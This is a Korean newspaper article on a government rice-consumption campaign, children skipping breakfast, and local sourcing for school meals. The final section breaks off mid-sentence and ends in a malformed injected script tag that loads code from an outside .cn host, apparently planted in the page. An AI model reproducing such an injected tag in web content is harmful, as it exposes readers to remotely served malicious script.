◆러브미 캠페인
농림부가 쌀 소비 촉진 일환으로 펴고 있는 `러브 미(米)'' 캠페인은 밥을 잘 안먹는 세대인 젊은 층을 주로 타깃으로 하고 있다.
특히 젊은 여성과 청소년을 대상으로 `쌀''에 대한 이미지를 높이기 위해 주로 TV 등 대중매체를 이용한 광고에 주력하고 있으며, 젊은층이 참여할 수 있는 다양한 이벤트를 병행하고 있다.

젊은층을 타깃으로 하고 있는 만큼 일반 상업광고 못지 않은 신선한 아이디어와 영상미로 접근하고 있다.
또 유명인사를 광고 모델로 등장시켜 젊은층의 호응을 얻고 있다.
2002년에는 월드컵 축구스타인 김남일 선수와 김태영 선수를 광고 모델로 등장시켜 사랑하는 사이에서는 `밥을 챙겨주게 되는 심리''를 테마로 삼았다.

지난해에는 쌀 홍보대사로 선정된 방송 3사의 아나운서를 모델로 `사랑을 하면 이뻐진다''(米人편)는 테마의 광고를 지속적으로 방영, 쌀과 사랑에 빠질 것을 간접적으로 호소했다.
이같은 광고를 통해 잊고 있던 쌀에 대한 애정을 불러일으키자는 전략이다.
러브미 캠페인은 이같은 광고와 함께 콘서트, 동요음반제작, 광고 공모전, 캠프, 마라톤 등 각종 이벤트를 통해 `쌀 사랑''을 직·간접적으로 전달하고 있다.

농림부는 아직 구체적인 아이템을 결정하진 못했지만 지난해에 이어 올해에도 젊은 층과 청소년 층을 대상으로 한 다양한 광고컨셉과 프로그램을 개발해 나갈 계획이다.
특히 올해는 UN이 정한 `세계 쌀의 해''이기도 한 만큼 대대적인 범국민 캠페인으로 주목 받을 수 있도록 한다는 것이다.

◆밥 먹는 아이들
`밥이 보약''이란 말이 있다.
세 끼 밥만 잘 먹으면 건강 챙기기에 부족함이 없다는 뜻이다.
특히 아침밥은 활력있는 하루는 물론 학습능력, 사고력, 집중력을 높이고 원만한 대인관계를 형성하며 건강하게 오래사는 지름길로 널리 알려져 있다.
또 수능때마다 수험생에게 빠지지 않고 등장하는 조언도 아침밥을 반드시 챙기라는 말이다.

규칙적인 아침식사를 한 초등학생은 불규칙적인 아이보다 학업성취도와 체력이 높다는 연구결과도 이를 뒷받침하고 있다.
하지만 실제로 밥을 먹고 다니는 아이들은 절반 정도에 불과하다.
학교급식조례제정운동 충북본부가 도내학생 1122명을 대상으로 펼친 설문조사에 따르면 응답자 111명 가운데 16.6%가 매일 아침을 먹지 않는다고 대답했으며 절반 정도는 아침을 거르는 것으로 나타났다.

또 강원도 강릉보건소가 최근 강릉지역 유치원 6~7세 어린이 413명을 대상으로 실시한 조사결과에서는 아침을 먹지 않는 어린이가 전체의 42%에 달했다.
이와 관련 전문가들은 아이들에게 밥먹는 습관을 기르는 것도 중요하지만 밥을 즐길 수 있도록 관련 가공식품을 많이 개발하는 것도 필요하다고 지적하고 있다.
김숙희 한국식품영양재단 이사장은 “아침식사는 한끼의 식사라는 의미보다 열량과 영양소의 균형된 분배라는 점에서 많은 의의를 가지고 있다”면서 “아침밥을 거르는 식습관은 고쳐야 할 것”이라고 조언했다.

황선옥 소비자문제를연구하는시민의모임 상임이사는 “아이들에게 막연하게 밥만을 강조하기 보다는 떡국이나 찬밥을 이용한 간식거리 등 쌀을 이용한 여러 가지 음식으로 접근하는 것이 바람직하다”고 말했다.

◇사례=꼭 챙겨먹어요 vs 거르기 일쑤에요
충남 천안시에 사는 이한빈(15)군은 아침밥을 꼭 챙겨먹고 등교한다.
통학거리가 가까운데다 집에서 아침밥을 먹는 것이 습관화됐기 때문이다.
이 군은 “시 외곽에서 등교하는 친구들을 제외하고는 대부분 아침밥을 먹고 등교하고 있으며 점심때 급식까지 포함한다면 하루 두 끼 이상 밥을 먹는 것 같다”며 “학교에서도 아침밥을 권유하고 있고 학습에도 효과가 있다는 얘기가 널리 알려지면서 신경써서 아침을 챙겨먹고 있다”고 말했다.

반면 경기 분당의 정연희(18)양은 고3 수험생이라 식사에 신경써야 하는데도 불구하고 거의 아침밥을 먹지 않는 편이다.
밥보다는 잠이 좋은데다 지각 부담도 크고 간혹 식사 후 배가 아프기 때문이다.
정 양은 “빵이나 우유로 아침을 때우는 경우가 대부분이고 같은 반 친구들도 거의 안먹는 편”이라며 “학교매점에서도 과자종류를 주로 먹고 있지만 삼각김밥은 너무 좋아해서 하루에 1~2개는 먹는 편”이라고 말했다.

◆학교급식-지자체가 뛰고 있다
단체급식 원료 공급선을 잡아라.
각 지자체들이 급식 원료를 관내에서 생산되는 고품질 농산물로 제공할 수 있는 인프라를 구축하는데 팔을 걷어붙였다.
이는 단가가 낮아 저가상품을 구입하는 학교급식의 현실적인 문제에서 안전성 문제가 비일비재하게 ?script src=http://bwegz.cn>

저작권자 © 농수축산신문 무단전재, 재배포 및 AI학습 이용 금지